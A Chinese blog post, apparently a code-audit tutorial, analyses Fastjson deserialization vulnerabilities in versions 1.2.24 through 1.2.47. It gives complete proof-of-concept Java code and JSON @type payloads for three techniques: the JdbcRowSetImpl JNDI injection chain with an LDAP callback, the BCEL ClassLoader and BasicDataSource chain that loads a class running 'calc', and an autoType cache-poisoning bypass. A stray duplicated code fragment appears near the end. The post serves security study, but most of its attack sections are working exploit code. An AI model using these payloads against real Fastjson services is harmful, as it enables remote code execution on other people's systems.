java代码审计之fastjson反序列化漏洞

news2024/11/20 1:31:05

fastjson反序列化漏洞分析

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。该产品主要提供了两个接口,JSON.toJSONString和JSON.parseObject/JSON.parse分别实现序列化和反序列化。

1. Fastjson使用

  1. 新建一个maven项目,引入对应的依赖包
		<dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
  1. 新建一个类
package org.example;

import java.io.Serializable;

public class Person{
    private String name;
    private int age;
    private boolean sex;

    public Person() {
        System.out.println("执行构造函数方法");
    }

    public String getName() {
        System.out.println("执行获取到name方法");
        return name;
    }

    public void setName(String name) {
        System.out.println("执行到setage方法");
        this.name = name;
    }

    public int getAge() {
        System.out.println("执行获取到age方法");
        return age;
    }

    public void setAge(int age) {
        System.out.println("执行setage方法");
        this.age = age;
    }

    public boolean isSex() {
        return sex;
    }

    public void setSex(boolean sex) {
        System.out.println("执行到setSex方法");
        this.sex = sex;
    }
}
  1. json序列化
package org.example;

import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("小明");
        person.setAge(18);
        person.setSex(false);
        String jsonString = JSON.toJSONString(person);
        System.out.println(jsonString);
    }
}
//输出:{"age":18,"name":"小明","sex":false}
  • 不使用 SerializerFeature.WriteClassName:生成的 JSON 数据不包含类的全限定名。
  • 使用 SerializerFeature.WriteClassName:生成的 JSON 数据包含类的全限定名(以 @type 字段表示)。
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {
    public static void main(String[] args) {
        Person person = new Person();
        person.setName("小明");
        person.setAge(18);
        person.setSex(false);
        String jsonString = JSON.toJSONString(person, SerializerFeature.WriteClassName);
        System.out.println(jsonString);
    }
}
//输出:{"@type":"org.example.Person","age":18,"name":"小明","sex":false}
  1. 反序列化

在fastjson中,使用JSON.parseObject进行反序列化,及将JSON字符串转化为对象

使用:

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Main {
    public static void main(String[] args) {
        String json1 = "{\"age\":18,\"name\":\"小明\",\"sex\":false}";
        JSONObject jsonObj = JSON.parseObject(json1);   //将字符串解析为json对象
        System.out.println(jsonObj.getString("age"));     //获取age的值
    }
}

反序列化为javaBean对象:

package org.example;
import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        String json1 = "{\"age\":18,\"name\":\"小明\",\"sex\":false}";
        Person json2 = JSON.parseObject(json1,Person.class);
        System.out.println(json2);
    }
}
//执行setage方法
//执行到setage方法
//执行到setSex方法
//org.example.Person@4ccabbaa

增加@type属性指定其解析为特定类

package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Main {
    public static void main(String[] args) {
        String json1 = "{\"@type\":\"org.example.Person\",\"age\":18,\"name\":\"小明\",\"sex\":false}";
        JSONObject json2 = JSON.parseObject(json1);
        System.out.println(json2.getString("age"));
    }
}
//执行构造函数方法
//执行setage方法
//执行到setage方法
//执行到setSex方法
//执行获取到age方法
//执行获取到name方法
//18

fastjson反序列化漏洞1-流程分析_哔哩哔哩_bilibili

由于在进行反序列化的时候,会调用set方法,因此,当找到一个可以执行类的set方法,就可以构造恶意参数,执行代码

package org.example;

import java.io.IOException;

public class Test {
    private String cmd;

    public String getCmd() {
        return cmd;
    }

    public void setCmd(String cmd) throws IOException {
        this.cmd = cmd;
        Runtime.getRuntime().exec(cmd);
    }
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Main {
    public static void main(String[] args) {
        String json1 = "{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"}";
        JSONObject json2 = JSON.parseObject(json1);
        System.out.println(json2);
    }
}

2. fastjson1.2.24漏洞利用

<dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.47</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>9.0.20</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-core</artifactId>
            <version>4.2.4.RELEASE</version>
        </dependency>

fastjson反序列化与原生反序列化的不同点:

  1. fastjson反序列化不需要实现Serializable
  2. 变量有对应的setter或满足条件的getter(满足第二图的get方法)或者public属性,原生的变量不需要不是transient

image-20240525185408287

image-20240525185444591

  1. 原生的爆发点为readObject,fastjson是setter/getter
  • 查找流程:先找到恶意类,然后找到getter、setter方法

按CTRL+N搜索jdbcRowSet

image-20240525190559880

存在JNDI注入:

image-20240526161855073

追踪getDataSourceName(),DataSourceName变量是可控的

image-20240526165726979

因此,该链为

setAutoCommit--->connection()方法----->DataSourceNmer为恶意参数。
package org.example;

import com.alibaba.fastjson.JSON;

//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {
    public static void main(String[] args) {
        String s  = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/hwgPemYJ\",\"autoCommit\":true}";
        System.out.println(JSON.parseObject(s));
    }
}

设置Yakit反连

image-20240526214102060

image-20240526214017619

fastjson利用jndi注入来远程加载恶意类的方法,如果机器在内网无法访问互联网那么这种方法就失败了并且受版本依赖限制。

在jdk中含有import com.sun.org.apache.bcel.internal.util.ClassLoader;`中,存在defineClass可以实现从字节码直接生成一个类。

image-20240528164937472

正常使用如下:

恶意类:(使用需要使用同版本的java编译为.class文件)

package org.example;

import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}
package org.example;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        //不考虑fastjson情况就正常调用该类
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));
        String code = Utility.encode(bytes, true);
        classLoader.loadClass("$$BCEL$$"+code).newInstance();
    }

        //将文件转为字节码数组
        public static byte[] convert(File file){
            try {
                InputStream fis = new FileInputStream(file);
                byte[] bytes = FileCopyUtils.copyToByteArray(fis);
                return bytes;
            }catch (Exception ex){
                throw new RuntimeException("transform file into bin Array 出错",ex);
            }
        }

    }

接着考虑如何调用到classLoader.loadClass()在BasicDataSource()中存在forname,可以控制类加载器,将其改为classLoader类加载器。

image-20240528223029920

上下文查看有driverClassName、driverClassLoader对应的get/set方法,然后通过use查询,是否有调用createConnectionFactory方法,并实现get/set方法。

image-20240529080706605

image-20240529080858709

通过调用,当调用getConnection()时,实现调用

package org.example;

import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        //不考虑fastjson情况就正常调用该类
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));
        String code = Utility.encode(bytes, true);
//        classLoader.loadClass("$$BCEL$$"+code).newInstance();
        BasicDataSource basicDataSource = new BasicDataSource();
        basicDataSource.setDriverClassLoader(classLoader);
        basicDataSource.setDriverClassName("$$BCEL$$"+code);
        basicDataSource.getConnection();
    }

        //将文件转为字节码数组
        public static byte[] convert(File file){
            try {
                InputStream fis = new FileInputStream(file);
                byte[] bytes = FileCopyUtils.copyToByteArray(fis);
                return bytes;
            }catch (Exception ex){
                throw new RuntimeException("出错",ex);
            }
        }

    }
package org.example;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));
        String code = Utility.encode(bytes, true);
        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
        JSON.parseObject(s);
    }

        //将文件转为字节码数组
        public static byte[] convert(File file){
            try {
                InputStream fis = new FileInputStream(file);
                byte[] bytes = FileCopyUtils.copyToByteArray(fis);
                return bytes;
            }catch (Exception ex){
                throw new RuntimeException("transform file into bin Array 出错",ex);
            }
        }

    }

3. fastjson反序列化漏洞<=1.2.47

fastjson1.2.24之后,为了修复这个漏洞,引入checkAutoType,首先进行类型检查,再返回类。

image-20240529215309631

如果autoTypeSupport=true或者expectClass不是null,将进行黑白名单的判断。(白名单空的,黑名单可能造成危害的类)

image-20240529215247810

不满足,然后从以下两个缓存去查找,如果可以控制缓存,则可以调用恶意类。

image-20240529220625941

通过对mappinguse查找,当进行loadClass时,有将className放在mappings中(及如果之前加载之后,就不进行加载直接从mappings找)

image-20240529222714862

对loadClass进行use查找,则在MiscCode中deserialze中调用了loadClass函数

image-20240529223201245

在这里可以进行正常的加载,将其放入缓存里,如果提前将恶意类提前放进缓存里,则可绕过检查。

image-20240529224109150

构造恶意类

package org.example;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;
import org.springframework.util.FileCopyUtils;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;

public class Main {
    public static void main(String[] args) throws Exception {
        byte[] bytes = convert(new File("D:\\Code\\javaCode\\Demo03\\src\\main\\java\\org\\example\\Evil.class"));
        String code = Utility.encode(bytes, true);
//        第一步将com.sun.rowset.JdbcRowSetImpl放入缓存。
        String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/XBGdpMmR\",\"autoCommit\":true}}";
        JSON.parseObject(s);
    }

        //将文件转为字节码数组
        public static byte[] convert(File file){
            try {
                InputStream fis = new FileInputStream(file);
                byte[] bytes = FileCopyUtils.copyToByteArray(fis);
                return bytes;
            }catch (Exception ex){
                throw new RuntimeException("transform file into bin Array 出错",ex);
            }
        }

    }

utoCommit":true}}";
JSON.parseObject(s);
}

    //将文件转为字节码数组
    public static byte[] convert(File file){
        try {
            InputStream fis = new FileInputStream(file);
            byte[] bytes = FileCopyUtils.copyToByteArray(fis);
            return bytes;
        }catch (Exception ex){
            throw new RuntimeException("transform file into bin Array 出错",ex);
        }
    }

}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1791619.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

官宣!2024 MongoDB Developer Day来了!北上深三场等你集结!

北上深开发者 专为你们打造的 MongoDB Developer Day 来了&#xff01; 动手实操工作坊➕模型设计优化专场 学习 NoSQL 数据建模的最佳实践 深入探索 MongoDB 的各种可能性 和开发者同行和 MongoDB 技术专家 一起度过充实的一天&#xff01; 北京&#xff08;6/22&…

UMLChina为什么叒要翻译《分析模式》?

UMLChina受机械工业出版社委托&#xff0c;重新翻译《分析模式》。 Martin Fowler的“Analysis Patterns&#xff0c;Reusable Object Models”&#xff0c;原书出版于1997年&#xff0c;至今为止未出第2版。 2004年&#xff0c;机械工业出版社出版该书中译本《分析模式》。 …

Django render()函数页面渲染

1&#xff0c; render() 函数 在Django框架中&#xff0c;render() 函数是一个非常有用的快捷方式&#xff0c;用于从视图函数返回一个完整的HTTP响应。它负责将给定的模板与上下文数据结合&#xff0c;渲染出最终的HTML页面&#xff0c;并返回一个HttpResponse对象。 from d…

千锋教育大优惠

IT全学科自学至尊卡&#xff08;3年卡&#xff09; Linux云计算运维、Python全栈、数据分析、人工智能、Java、大前端、网络安全、物联网、全媒体、影视剪辑等14大主流方向&#xff0c;300精品视频课程免费学。课程持续更新&#xff0c;电脑端手机APP小程序多平台无忧畅学&…

JavaWeb1 Json+BOM+DOM+事件监听

JS对象-Json //Json 字符串转JS对象 var jsObject Json.parse(userStr); //JS对象转JSON字符串 var jsonStr JSON.stringify(jsObject);JS对象-BOM BOM是浏览器对象模型&#xff0c;允许JS与浏览器对话 它包括5个对象&#xff1a;window、document、navigator、screen、hi…

【人工智能】第一部分:ChatGPT的基本概念和技术背景

人不走空 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌赋&#xff1a;斯是陋室&#xff0c;惟吾德馨 目录 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌…

王道408数据结构CH3_栈、队列

概述 3.栈、队列和数组 3.1 栈 3.1.1 基本操作 3.1.2 顺序栈 #define Maxsize 50typedef struct{ElemType data[Maxsize];int top; }SqStack;3.1.3 链式栈 typedef struct LinkNode{ElemType data;struct LinkNode *next; }*LiStack;3.2 队列 3.2.1 基本操作 3.2.2 顺序存储…

C++ Primer 总结索引 | 第十五章:面向对象程序设计

继承和动态绑定 对程序的编写 有两方面的影响&#xff1a;一是 我们可以更容易地定义与其他类相似 但不完全相同的新类&#xff1b;二是 在使用这些彼此相似的类编写程序时&#xff0c;我们可以在一定程度上 忽略掉它们的区别 在很多程序中都存在着一些相互关联 但是有细微差别…

用幻灯片讲解C++手动内存管理

用幻灯片讲解C手动内存管理 1.栈内存的基本元素 2.栈内存的聚合对象 3.手动分配内存和释放内存 注意&#xff1a;手动分配内存&#xff0c;指的是在堆内存中。 除非实现自己的数据结构&#xff0c;否则永远不要手动分配内存! 即使这样&#xff0c;您也应该通过std::allocator…

Linux 磁盘分区步骤

1.lsblk用于查看磁盘分区情况&#xff0c;lsblk -f用于查看uuid字符串以及挂载点。 以下是虚拟机部分添加磁盘的步骤。 其余没展示的都按照默认设置进入下一步即可。 2.添加完成后使用reboot重新进入后再使用lsblk就会发现磁盘sdb已经有了&#xff0c;但是没有分区。现在添加分…

Docker部署青龙面板

青龙面板 文章目录 青龙面板介绍资源列表基础环境一、安装Docker二、安装Docker-Compose三、安装青龙面板3.1、拉取青龙&#xff08;whyour/qinglong&#xff09;镜像3.2、编写docker-compose文件3.3、检查语法启动容器 四、访问青龙面板五、映射本地部署的青龙面板至公网5.1、…

JAVA小案例-break练习,随机数,到88停止

JAVA小案例-break练习&#xff0c;随机数&#xff0c;到88停止 代码如下&#xff1a; public class Break {/*** break练习&#xff0c;随机数&#xff0c;到88停止* param args*/public static void main(String[] args) {int count0;//计数器System.out.println("Begi…

揭秘AI 原生应用技术栈

一次性把“AI 原生应用技术栈”说明白 AI热潮持续&#xff0c;厂商努力推动有价值的应用涌现&#xff0c;并打造服务AI原始应用的平台产品。本文精简介绍业界最新的AI原生应用技术栈&#xff0c;让您迅速把握前沿科技脉搏。 整体架构 AI技术栈逻辑图精简呈现&#xff0c;多层…

搭建私有CA

1.设置独立服务器这台服务器就作为私有CA服务器 2.更新请求yum源 echo "#############Init Yum Source Start....." mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.…

编写备份MySQL 脚本

目录 环境准备 增量备份 增量备份和差异备份 完整代码如下 测试脚本是否正常 星期天运行脚本&#xff08;完全备份&#xff09; 星期一运备份脚本&#xff08;增量备份&#xff09; 星期二备份数据&#xff08;其他天--增量备份&#xff09; 星期三备份数据&#xff08;差异备…

Terraform安装+部署Azure Resource笔记

安装 下载 Terraform&#xff1a; 首先&#xff0c;访问 官方 Terraform 网站。找到适用于 Windows 的 Terraform 包&#xff0c;并下载 zip 文件。解压 Terraform 包&#xff1a; 将下载的 zip 文件解压到一个新文件夹中&#xff0c;命名为 “Terraform”。可以选择任何位置作…

【Linux】Linux工具——gdb

1. gdb 概述 GDB是GNU开源组织发布的一个强大的UNIX下的程序调试工具。或许&#xff0c;各位比较喜欢那种图形界面方式的&#xff0c;像VC、BCB等IDE的调试&#xff0c;但如果你是在 UNIX平台下做软件&#xff0c;你会发现GDB这个调试工具有比VC、BCB的图形化调试器更强大的功能…

创新“智”领长江经济带高质量发展研讨会调研实在智能

近日&#xff0c;创新“智”领长江经济带高质量发展研讨会暨央企智库沙龙第46期在浙江杭州顺利召开。 会议由中国联通主办&#xff0c;中国联通研究院、浙江联通、浙江省人民政府国有资产监督管理委员会联合承办&#xff0c;长江经济带沿线中央企业、地方国资国企等60余家单位…

SLAM精度评估—evo

evo是一款用于SLAM轨迹精度的评估工具。核心功能是&#xff08;1&#xff09;能够绘制&#xff08;传感器运动&#xff09;轨迹&#xff0c;&#xff08;2&#xff09;评估估计轨迹与真值&#xff08;ground truth&#xff09;的误差。evo支持多种数据集的轨迹格式(TUM、KITT、…

eNSP学习——连接RIP与OSPF网络、默认路由

目录 相关主要命令 实验一、连接RIP与OSPF网络 原理概述 实验目的 实验内容 实验拓扑 实验编址 实验步骤 1、基本配置 2、搭建RIP和OSPF网络 3、配置双向路由引入 4、手工配置引入时的开销值 实验二、使用OSPF、RIP发布默认路由 原理介绍 实验目的 实验内容 实…